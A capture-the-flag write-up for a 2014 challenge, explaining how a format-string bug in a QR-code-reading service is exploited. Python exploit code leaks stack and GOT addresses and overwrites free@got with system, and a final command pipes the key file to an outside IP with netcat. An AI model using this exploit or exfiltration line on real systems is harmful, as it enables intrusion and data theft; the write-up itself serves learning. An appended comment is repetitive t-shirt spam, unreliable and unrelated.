Find the key. (File)
PPC running at ppc.2014.ghostintheshellcode.com:10000.
Summary: format string vuln, communication via qrcodes
The code is rather straightforward. It reads packed width/height of the image, receives image with colors converted to bits (instead of 0-255 values) and packed to bytes (each byte = 8 pixels of the image). Then it reads QRCodes from it and calls fprintf on each message. Here’s this part of code:
for ( i = zbar_image_first_symbol(0, &result_buf[v4]); i; i = zbar_symbol_next(i) ) { symbol_ptr = (char *)zbar_symbol_get_data(i); symbol_len = zbar_symbol_get_data_length(i); some_magic(result_buf, 32, symbol_ptr, symbol_len); fprintf(fd, result_buf); } |
There’s some_magic function which does some conversion and after looking closer it’s easy to see it’s actually base64decode. You can hope so until you find that it contains some mistakes:
- buffer is zeroed only before reading the whole image, not each symbol and each 2,3 bytes are OR’ed with new data
- the last byte (32nd) is decoded only partially – low 4 bits are always zeroes
That means we can’t easily use more than one qrcode in single image (we can use it only if the second value can be got by OR’ing the first with something) and that we have only 31 byte for formatstring.
Let’s first find argument number which points to our buffer. I used libformatstr for that:
import qrcode from base64 import b64encode from struct import pack from sock import * from libformatstr import * def make_qr_data(s): qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=8, border=4, ) qr.add_data(b64encode(s)) qr.make(fit=True) img = qr.make_image()._img w, h = img.size acc = res = "" for x in img.getdata(): acc += str(x / 128) if len(acc) >= 8: res += chr(int(acc, 2)) acc = "" if (w * h) & 7: res += "\xff" return pack("<2I", w, h) + res def do_fmt(fmt): f = Sock("ppc.2014.ghostintheshellcode.com:10000", timeout=100) f.read_one() f.send("PPC\x00PPC\x00") # network problems for i in range(10): f.send(make_qr_data(fmt)) return f.read_one() for i in range(0, 100, 3): s = make_pattern(30, start_index=i) + "\n" res = do_fmt(s) res = res[:res.find("\n")] print i, `res` try: argnum, padding = guess_argnum(res, 30, start_index=i) print argnum, padding break except: pass |
Result: argument number is 18.
It’s also easy to leak saved ebp and return address:
res = do_fmt("%33$08x:%34$08x:%35$08x\n") print res |
Result: bfc1a608:b77e9100:00000004
.
Return address is 0xb77e9100, we know that should be return to serving function:
.text:000010FE call eax .text:00001100 mov [ebp+status], eax |
So now we know image base (b77e8000), we know address of GOT entries. Let’s dump it:
base = 0xb77e9100 - 0x1100 got = base + 0x4000 res = do_fmt("%22$s".ljust(16, "|") + pack("<I", got) + "\n") for addr in unpack("<4I", res[:16]): print hex(addr) |
Result:
0xb76d56d0 0xb769b620 0xb779c0a0 0xb77e8b36 |
This addresses help us to identify libc, so we can calculate system address:
$ objdump -d libc.so | grep 'setsockopt>:' 000ec6d0 <setsockopt>: $ objdump -d libc.so | grep 'system>:' 0003d170 <__libc_system>: |
We will overwrite free@got with system, so we’ll get system(our_data):
ptr = byte_buf; nread = read_all(fd, byte_buf, size); if ( nread != size ) { free(ptr); result = 0; goto LABEL_30; } |
But there’s one problem.. We can’t use overwrite with two stages (images), because free is called between images, and this call will be corrupted. But straightforward overwrite takes 34 bytes:
got_free = got + 0x1c libc = 0xb76d56d0 - 0x000ec6d0 system = libc + 0x0003d170 s = pack("<I", got_free) s += pack("<I", got_free + 2) s += "%" + str((system & 0xffff) - 8) + "c" s += "%18$hn" s += "%" + str((system >> 16) - (system & 0xffff)) + "c" s += "%19$hn" print len(s), `s` # 34 bytes |
We’ve managed to shrink it to 32 bytes, but because of the mistake in base64decode we need no more than 31 byte (or 32nd byte with zeroed lower bits).
But let’s allow us to make format string larger: there’s no explicit null termination, so we can extend our format string on the stack! Easier, we can save addresses to overwrite there, so the format string will be small enough itself:
sebp_serve = 0xbfc1a608 # serve stack frame: 0x24 + saved ebx (4) = 0x28 # sebp + retaddr = 8 ebp = sebp_serve - 0x28 - 0x8 ext_addr = ebp - 0x1c f = Sock("ppc.2014.ghostintheshellcode.com:10000", timeout=100) f.read_one() f.send("PPC\x00PPC\x00") # put addresses on stack ext = pack("<I", got_free) + pack("<I", got_free + 2) for i in range(0, len(ext), 2): word = ext[i:i+2] s = pack("<I", ext_addr + i) s += "%" + str(unpack("<H", word)[0] - 4) + "c" s += "%18$hn\n\x00" f.send(make_qr_data(s)) # overwrite free to system s = "" s = "%" + str((system & 0xffff)) + "c" s += "%26$hn" s += "%" + str((system >> 16) - (system & 0xffff)) + "c" s += "%27$hn\n" f.send(make_qr_data(s)) # trigger free(cmd) CMD = "cat /home/PPC/key | nc -vn 74.125.143.102 3123; #\x00" for i in range(10): f.send(pack("<2I", 32, 16) + CMD.ljust(32 * 16 / 8)) |
Flag: 2011CTFMemesMadeNewAgain
PS: because of bug in read_all, if your pictures are not landing in one recv call, your format string won’t be called. So this exploit can be unreliable due to network issues.
1 comment
is quite a bit more room to slip every one of the details about the shirt.If you are likely to have your band, wear the computer screen printing tee shirt that will be engaging in.If you will have volleyball including a pool, entice people to come basic details.But above all, make sure that must be known that you’ll be the birthday bash girl as well as birthday child and this is usually a special day that you choose to deserve.Tee tshirts also allow you to be far even more creative is quite a bit more room to slip every one of the details about the shirt.If you are likely to have your band, wear the computer screen printing tee shirt that will be engaging in.If you will have volleyball including a pool, entice people to come basic details.But above all, make sure that must be known that you’ll be the birthday bash girl as well as birthday child and this is usually a special day that you choose to deserve.Tee tshirts also allow you to be far even more creative compared to a simple celebration invitation by unit card.If there will likely be a piece performing in your birthday blowout, put an image of any band within the shirt utilizing their logo.In case you are looking to undertake a beach style party, develop a shirt stuffed with color along with palm trees and sand to build the pleasurable.You more than likely fear the fact that having custom t-shirts made just by a house party will likely be expensive, but that is definitely where you stand wrong.Screen printing tee shirts are very cheap at cheaptees.org and so are cheaper better you buy.It is actually a deal which usually nobody can miss making the idea a simply no brain choice to distribute off your special birthday invitations at a tee t-shirt.How often can you receive personal gift invites on t-shirts? Probably under no circumstances.And that is definitely exactly why you should make a person’s birthday someone to remember by using a custom tee shirt invite..